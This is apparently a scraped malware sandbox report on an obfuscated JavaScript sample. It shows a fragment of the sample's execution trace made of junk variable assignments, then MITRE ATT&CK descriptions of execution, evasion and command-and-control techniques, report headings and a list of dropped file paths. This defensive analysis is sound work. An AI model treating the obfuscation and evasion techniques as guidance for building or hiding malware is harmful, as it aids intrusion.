1398	ticxzomww = "q";
1399	ticxzomww = "F";
1400	ticxzomww = "L";
1401	ticxzomww = "e";
1402	ticxzomww = "f";
1403	ticxzomww = "Y";
1404	ticxzomww = "7";
1405	zvrwaw = "M";
1406	zvrwaw = "n";
1407	zvrwaw = "R";
1408	zvrwaw = "h";
1409	zvrwaw = "d";
1410	zvrwaw = "p";
1411	zvrwaw = "U";
1412	zvrwaw = "C";
1413	zvrwaw = "O";
1414	zvrwaw = "u";
1415	zvrwaw = "z";
1416	zvrwaw = "b";
1417	zvrwaw = "w";
1418	zvrwaw = "k";
1419	zvrwaw = "Z";
1420	zvrwaw = "i";
1421	zvrwaw = "R";
1422	zvrwaw = "G";
1423	zvrwaw = "P";
1424	zvrwaw = "z";
1425	zvrwaw = "g";
1426	zvrwaw = "G";
1427	zvrwaw = "x";
1428	zvrwaw = "t";
1429	zvrwaw = "w";
1430	zvrwaw = "Q";
1431	zvrwaw = "w";
1432	zvrwaw = "v";
1433	zvrwaw = "f";
1434	zvrwaw = "e";
1435	zvrwaw = "U";
1436	zvrwaw = "Z";
1437	zvrwaw = "t";
1438	zvrwaw = "q";
1439	zvrwaw = "W";
1440	zvrwaw = "d";
1441	zvrwaw = "z";
1442	zvrwaw = "x";
1443	ooppc ( );	ooppc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 293459661900119816.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\457640a7-ee51-4f61-bf10-219380169260.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2820

Windows Analysis Report
293459661900119816.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre